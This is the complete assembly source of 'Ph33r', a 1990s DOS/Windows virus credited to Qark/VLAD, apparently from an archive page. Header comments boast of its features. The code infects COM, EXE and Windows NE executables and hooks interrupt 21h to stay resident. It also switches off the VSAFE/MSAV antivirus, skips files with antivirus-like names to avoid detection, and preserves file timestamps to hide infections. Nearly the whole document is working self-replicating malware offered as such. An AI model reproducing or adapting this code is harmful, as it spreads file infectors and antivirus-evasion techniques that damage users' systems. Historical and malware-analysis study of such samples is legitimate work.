home *** CD-ROM | disk | FTP | other *** search
- ;
- ;
- ; Ph33r
- ;
- ; Qark/VLAD
- ;
- ;
- ;
- ; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
- ; files.
- ; The technology of the Windows infection is superior to 'Winsurfer'
- ; in that the virus goes directly resident, without having to mess around
- ; infecting the Windows 'shell'. The Windows entry of the virus allocates
- ; memory, points a selector to it, copies the virus into the space and
- ; sets interrupt 21h to the resident virus. By careful programming it was
- ; possible to make both the DOS and Win interrupt handlers share the same
- ; code.
- ;
- ; The virus does a few interesting things:
- ; Disables MSAV by turning it off (DOS)
- ; Gets the original Int 21h using DOSSEG:109Eh (DOS)
- ; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
- ;
- ; A few annoying things:
- ; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
- ; If the virus infects WIN386.EXE Windows crashes on load.
- ; These have both been fixed, by removal.
- ;
- ; For some unknown reason, the virus causes Debug to crash on exit.
- ; I haven't fixed this, because I figure anyone who uses Debug will spot
- ; the virus anyway. Besides which, I haven't got a clue why it's happening :)
- ;
- ; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
- ; heuristically.
- ;
-
- org 0
-
- com_entry: ;COM files begin execution here.
- call exec_start
- push es
- pop ds
-
- ;COM file exit.
-
- mov di,100h
- push di
-
- db 0b8h ;MOV AX,xxxx
- old2 dw 20cdh
- stosw
- db 0b8h ;MOV AX,xxxx
- old4 dw 0
- stosw
-
- xor ax,ax
- xor bx,bx
- xor cx,cx
- xor dx,dx
- xor si,si
- xor di,di
- ret
-
- exe_entry: ;EXE files begin execution here.
- call exec_start
- push es
- pop ds
-
- ;Setup ss:sp
- mov ax,ds
- add ax,10h
- db 5 ;ADD AX,xxxx
- old_ss dw 0
- mov ss,ax
- db 0bch ;MOV SP,xxxx
- old_sp dw 0
-
- ;setup the return
- mov ax,ds
- add ax,10h
- db 5 ;ADD AX,xxxx
- exe_cs dw 0
- push ax
- db 0b8h ;MOV AX,xxxx
- exe_ip dw 0
- push ax
- xor ax,ax
- xor bx,bx
- xor cx,cx
- xor dx,dx
- xor si,si
- xor di,di
- retf
-
- Exec_Start:
-
- cld
- mov ax,51ffh ;Test resident.
- int 21h
- cmp ax,0ff51h
- je exit_virus
-
- mov ax,0fa02h ;Kill VSAFE.
- mov dx,5945h ;Every DOS6+ user has a copy of this.
- xor bl,bl
- int 16h
-
- mov ax,ds
- dec ax
- mov ds,ax ;MCB seg in DS.
- xor di,di
- cmp byte ptr [di],'Y' ;Z block ?
- ja allocate
- exit_virus:
- ret
- allocate:
- sub word ptr [di+3],(offset virus_size*2/16)+1
- sub word ptr [di+12h],(offset virus_size*2/16)+1
- mov ax,word ptr [di+12h]
-
- push es
- mov es,ax
- push cs
- pop ds
- mov cx,offset virus_size
-
- ;Get delta offset in SI
- call next
- next:
- pop si
- sub si,offset next
-
- ;Move virus to free memory.
- rep movsb
-
- mov ds,cx ;DS=CX=0 from REP MOVSB
-
- ;Set int21h
- mov si,21h*4
- mov di,offset i21
- push si
- movsw
- movsw
- pop si
- mov di,offset orig21
- movsw
- movsw
-
- mov word ptr [si-4],offset int21handler
- mov word ptr [si-2],es
-
- push es
- mov ah,52h ;Thanx Neurobasher!
- int 21h
- mov ax,es
- pop es
- mov ds,ax
-
- mov si,109eh ;DS:109Eh = Original Int 21 I hope.
- lodsw
- cmp ax,9090h
- jne reset21
- lodsb
- cmp al,0e8h
- jne reset21
- mov word ptr es:orig21,10a0h
- mov word ptr es:orig21+2,ds
- reset21:
- pop es
- ret
-
- db '=Ph33r='
-
- win21: ;Windows interrupt handling begins here.
- cmp ax,51feh
- jne non_w_res
- xchg al,ah
- iret
- non_w_res:
- cmp ax,4b00h ;Execute.
- je check_infect
- cmp ah,3dh ;File Open.
- je check_infect
- cmp ah,56h ;Rename.
- je check_infect
- cmp ah,43h ;Chmod.
- jne int_exit
-
- check_infect:
- pushf
- pusha
- push ds
- push es
-
- mov ax,0ah ;This function makes our CS writable.
- mov bx,cs
- int 31h
- mov es,ax
-
- call setup_infect
-
- pop es
- pop ds
- popa
- popf
-
- jmp int_exit
-
- int21handler: ;DOS interrupt handling begins here.
- cmp ax,51ffh
- jne non_res
- xchg al,ah
- iret
-
- db 'Qark/VLAD'
-
- non_res:
- ;For some reason, checking for AH=3dh crashes windows when its booting.
-
- cmp ax,4b00h ;Execute.
- je do_file
- cmp ah,6ch ;Open.
- je do_file
- cmp ah,56h ;Rename.
- je do_file
- cmp ah,43h ;Chmod.
- je do_file
-
- int_exit:
- db 0eah
- i21 dd 0
-
- do_file:
- push es
- push dx
- cmp ah,6ch
- jne no_6c_fix
- mov dx,si
- no_6c_fix:
- push cs
- pop es
- call setup_infect
- pop dx
- pop es
-
- jmp int_exit
-
- setup_infect:
- ;on entry to this call, es=writable cs
- ;ds:dx=filename
- pushf
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- cld
- mov si,dx
- asciiz:
- lodsb
- cmp al,0
- jne asciiz
- sub si,4
- lodsw
- or ax,2020h
- cmp ax,'xe' ;EXE
- je do_inf
- cmp ax,'ld' ;DLL
- je do_inf
- cmp ax,'oc' ;COM
- jne not_name
- do_inf:
- cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs)
- je not_name
- mov ax,word ptr [si-5]
- or ax,2020h ;Lowercase.
- cmp ax,'va' ;Don't touch files that end in AV
- je not_name ;eg TBAV
- cmp ax,'vd' ;DV.COM checks DV.EXE
- je not_name
- cmp ax,'na' ;Don't touch files that end in AN
- je not_name ;eg SCAN, TBSCAN
- cmp ax,'to' ;Don't touch files that end in OT
- je not_name ;eg F-PROT
-
- call infect
- not_name:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
-
- ret
-
- Infect:
- ;DS:DX=Filename, ES=our data segment
- cld
- mov ax,3d02h ;Open file to be infected.
- call int21h
- jnc file_opened
- ret
- file_opened:
- xchg bx,ax ;File handle into BX.
- push es
- pop ds
-
- mov ah,3fh ;Read from file.
- mov cx,512
- mov dx,offset virus_size
- call int21h
-
- mov si,offset virus_size
-
- mov ax,word ptr [si]
- or ax,2020h
- cmp ax,'zm' ;Test for EXE header
- je check_exe
- jmp com_infect
- check_exe:
- cmp word ptr [si+12h],0afafh ;Infection marker.
- jne not_infected
- bad_mem:
- jmp com_end
- not_infected:
- cmp word ptr [si+18h],40h ;Windows executable.
- jb exe_infect
- jmp windows_infect
- exe_infect:
- cmp word ptr [si+0ch],-1 ;Maxmem = All
- jne bad_mem
-
- call lseek_end ;Get file length in DX:AX
- or dx,dx
- jnz ok_exe_size
- cmp ax,1000
- jb bad_mem
- ok_exe_size:
- mov cx,512
- div cx
- inc ax
- cmp [si+4],ax ;Check for overlays.
- ja bad_mem
-
- mov ax,word ptr [si+0eh] ;Save the original SS:SP
- mov word ptr old_ss,ax
- mov ax,word ptr [si+10h]
- mov word ptr old_sp,ax
-
- mov ax,word ptr [si+14h] ;Save the original CS:IP
- mov word ptr exe_ip,ax
- mov ax,word ptr [si+16h]
- mov word ptr exe_cs,ax
-
- call lseek_end
- mov cx,16
- div cx
-
- sub ax,word ptr [si+8]
- add dx,offset exe_entry
- mov word ptr [si+14h],dx ;New IP
- mov word ptr [si+16h],ax ;New CS
-
- dec ax
- mov word ptr [si+0eh],ax
- add dx,1500
- and dx,0fffeh
- mov word ptr [si+10h],dx
-
- call save_time
-
- mov cx,offset virus_size
- mov ah,40h
- xor dx,dx
- call int21h
-
- call lseek_end
-
- mov cx,512
- div cx
- or dx,dx
- jz no_page_fix
- inc ax
- no_page_fix:
- mov word ptr [si+4],ax
- mov word ptr [si+2],dx
- call lseek_start
-
- mov word ptr [si+12h],0afafh ;Set infection marker.
- mov ah,40h
- mov dx,si
- mov cx,1ch
- call int21h
-
- call restore_time
-
- jmp com_end
-
- com_infect:
- cmp byte ptr [si+3],0afh ;Com infection marker.
- je com_end
-
- ;Save first four com file bytes.
- mov di,offset old2
- movsw
- mov di,offset old4
- movsw
-
- mov ax,4202h ;Lseek to file end.
- xor cx,cx
- cwd
- call int21h
-
- or dx,dx ;Check if > 64k
- jnz com_end
- cmp ax,60000 ;Check if > 60000
- ja com_end
- cmp ax,1024
- jb com_end
-
- sub ax,3
- mov word ptr com_jmp+1,ax
-
- call save_time
-
- mov ah,40h ;Write virus body to file.
- mov cx,offset virus_size
- xor dx,dx
- call int21h
- jc com_end
-
- mov ax,4200h ;Lseek to file start.
- xor cx,cx
- cwd
- call int21h
-
- mov ah,40h ;Write jump to start of file.
- mov cx,4
- mov dx,offset com_jmp
- call int21h
-
- com_time_end:
- call restore_time
-
- com_end:
- mov ah,3eh ;Close file.
- call int21h
-
- ret
-
- windows_infect:
-
- ;Move the Newexe pointer forward.
- push word ptr [si+3ch]
- pop word ptr newexe_off
-
- sub word ptr [si+3ch],8
- cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k
- jne com_end
-
- mov word ptr [si+12h],0afafh ;Set infection marker.
-
- ;Lseek back to start of the file.
- mov ax,4200h
- xor cx,cx
- cwd
- call int21h
-
- call save_time
-
- ;Write header back.
- mov ah,40h
- mov cx,512
- mov dx,offset virus_size
- call int21h
-
- jc com_end
-
- ;Lseek to new exe header
- mov ax,4200h
- mov dx,word ptr newexe_off
- xor cx,cx
- call int21h
-
- ;Read in new exe header
- mov ah,3fh
- mov cx,512
- mov dx,offset virus_size
- call int21h
-
- ;Adjust header pointers
- mov ax,word ptr [si+22h] ;AX=Segment table offset.
- cmp word ptr [si+4],ax
- jb ok_et
- add word ptr [si+4],8
- ok_et:
- cmp word ptr [si+24h],ax
- jb ok_rt
- add word ptr [si+24h],8
- ok_rt:
- cmp word ptr [si+26h],ax
- jb ok_rnt
- add word ptr [si+26h],8
- ok_rnt:
- cmp word ptr [si+28h],ax
- jb ok_mrt
- add word ptr [si+28h],8
- ok_mrt:
- cmp word ptr [si+2ah],ax
- jb ok_int
- add word ptr [si+2ah],8
- ok_int:
- mov ax,word ptr [si+1ch]
- inc word ptr [si+1ch] ;Increase segment count.
- xor dx,dx
- mov cx,8
- mul cx
-
- add ax,word ptr [si+22h] ;AX=Offset of segment table end.
- adc dx,0
- mov cx,512 ;512 byte portions are used
- ; for the reads later on.
- div cx
-
- mov word ptr ne_size,ax
- mov word ptr last_ne,dx
-
- ;Put the original CS:IP into our relocation table.
- push word ptr [si+14h]
- pop word ptr old_ip
- push word ptr [si+16h]
- pop word ptr old_cs
-
- ;Save the alignment shift count because we need that for calculating
- ;the offset of our segment when writing the segment entry.
- push word ptr [si+32h]
- pop word ptr al_shift
-
- ;Point CS:IP to the virus.
- mov word ptr [si+14h],offset win_entry ;The new IP
- mov ax,word ptr [si+1ch]
- mov word ptr [si+16h],ax ;The new CS
-
- ;Initialise the lseek variable
- push word ptr newexe_off
- pop word ptr lseek
-
- ;The below code gets the NE header and keeps moving it forward by
- ;eight bytes in 512 byte chunks.
- move_header_forward:
- mov ax,word ptr ne_size
- or ax,ax
- jz last_page
-
- dec word ptr ne_size
-
- mov ax,4200h ;Lseek to our current position.
- xor cx,cx
- mov dx,word ptr lseek
- sub dx,8
- call int21h
-
- mov ah,40h ;Write the header section out.
- mov cx,512
- mov dx,si
- call int21h
-
- add word ptr lseek,512
-
- mov ax,4200h ;Lseek to the next chunk.
- xor cx,cx
- mov dx,word ptr lseek
- call int21h
-
- mov ah,3fh ;Read it.
- mov dx,offset virus_size
- mov cx,512
- call int21h
-
- jmp move_header_forward
-
- last_page:
- mov ax,4202h ;Lseek to end of file.
- xor cx,cx
- cwd
- call int21h ;File length into DX:AX
-
- ;DX:AX=File offset of our segment
- ;Below section shifts the segment offset right by the alignment
- ;shift value.
- mov cl,byte ptr al_shift
- push bx
- mov bx,1
- shl bx,cl
- mov cx,bx
- pop bx
- div cx
-
- mov word ptr lseek_add,0
- or dx,dx
- jz no_extra
- sub cx,dx
- mov word ptr lseek_add,cx
- inc ax
- no_extra:
- mov di,si
- add di,word ptr last_ne
-
- ;Adding the new segment table entry
- mov word ptr [di],ax ;Segment offset
- mov word ptr [di+2],offset virus_size
- mov word ptr [di+4],180h ;Segment attribute
- ; 180h = NonMovable + Relocations
- mov word ptr [di+6],offset virus_size+512
-
- mov ax,4200h ;Lseek to next position.
- xor cx,cx
- mov dx,word ptr lseek
- sub dx,8
- call int21h
-
- mov ah,40h ;Write rest of NE header + new seg entry.
- mov cx,word ptr last_ne
- add cx,8 ;Added segment entry means eight more.
- mov dx,offset virus_size
- call int21h
-
- ;Reset the relocatable pointer.
- push word ptr winip
- push word ptr wincs
- mov word ptr winip,0
- mov word ptr wincs,0ffffh
-
- mov ax,4202h ;Lseek to end of file.
- xor cx,cx
- mov dx,word ptr lseek_add
- call int21h
-
- mov ah,40h ;Write main virus body.
- mov cx,offset virus_size
- xor dx,dx
- call int21h
-
- pop word ptr wincs
- pop word ptr winip
-
- mov ah,40h ;Write the relocation item.
- mov cx,offset reloc_end - offset relocblk
- mov dx,offset relocblk
- call int21h
-
- jmp com_time_end
-
- int21h: ;Simulated int 21 call.
- pushf
- call dword ptr cs:orig21
- ret
- orig21 dd 0
-
- win_entry: ;WinEXE files begin execution here.
- pusha
- push ds
- push es
-
- mov ax,51feh ;Residency test.
- int 21h
- cmp ax,0ff51h
- je no_wintsr
-
- mov ax,000ah ;Make CS writable.
- mov bx,cs
- int 31h ;Use DPMI.
- mov ds,ax
-
- mov ax,0204h ;Get real mode interrupt vector.
- mov bl,21h
- int 31h
-
- mov word ptr i21,dx ;Save int21
- mov word ptr i21+2,cx
-
- mov word ptr orig21,dx
- mov word ptr orig21+2,cx
-
- mov ax,501h
- xor bx,bx ;Allocate Linear region
- mov cx,offset v_mem_size
- int 31h
-
- push bx
- push cx
-
- xor ax,ax
- mov cx,1 ;Create a Selector
- int 31h
-
- mov bx,ax
- mov ax,7
- pop dx ;Point selector to linear region.
- pop cx
- int 31h
-
- mov ax,8
- xor cx,cx ;Set selector limit
- mov dx,offset v_mem_size
- int 31h
-
- mov es,bx
- mov cx,offset v_mem_size
- xor si,si ;Copy virus to the linear region
- xor di,di
- cld
- rep movsb
-
- mov bx,es
- mov ax,9 ;Set access rights to 'Code'
- mov cx,0ffh
- int 31h
-
- mov cx,es
- mov dx,offset win21
- mov ax,205h
- mov bl,21h
- int 31h ;Set real mode interrupt vector.
-
- mov ax,4
- push es
- pop bx ;Lock the selector
- int 31h
-
- no_wintsr:
- pop es
- pop ds
- popa
-
- db 0eah ;Return to original file.
- winip dw 0
- wincs dw 0ffffh
-
- ;-----------------------
- ;Infection Procedures
- ;-----------------------
- Save_Time:
- push ax
- push cx
- push dx
-
- mov ax,5700h
- call int21h
-
- mov word ptr time,cx
- mov word ptr date,dx
-
- pop dx
- pop cx
- pop ax
- ret
-
- Restore_Time:
- push ax
- push cx
- push dx
-
- db 0bah ;MOV DX,xxxx
- date dw 0
-
- db 0b9h ;MOV CX,xxxx
- time dw 0
-
- mov ax,5701h
- call int21h
-
- pop dx
- pop cx
- pop ax
- ret
-
- Lseek_Start:
- mov al,0
- jmp short lseek2
- Lseek_End:
- mov al,2
- lseek2:
- mov ah,42h
- xor cx,cx
- cwd
- call int21h
- ret
-
- ;-----------------------
- ;Infection Data
- ;-----------------------
- ;Com infection data.
- com_jmp db 0e9h,0,0,0afh
-
- ;-----------------------
- ;Windows infection data.
- newexe_off dw 0
- al_shift dw 0
- ne_size dw 0
- last_ne dw 0
- lseek dw 0
- lseek_add dw 0
-
- Relocblk:
- dw 1 ;Number of relocation items
-
- db 3 ;32bit pointer relocation
- db 4 ;Additive relocation
- dw offset winip
- old_cs dw 0 ;The stored original CS & IP of host.
- old_ip dw 0
-
-
- Reloc_end:
- ;-----------------------
-
- virus_size:
- db 512 dup (0) ;Storage buffer.
- v_mem_size:
-
-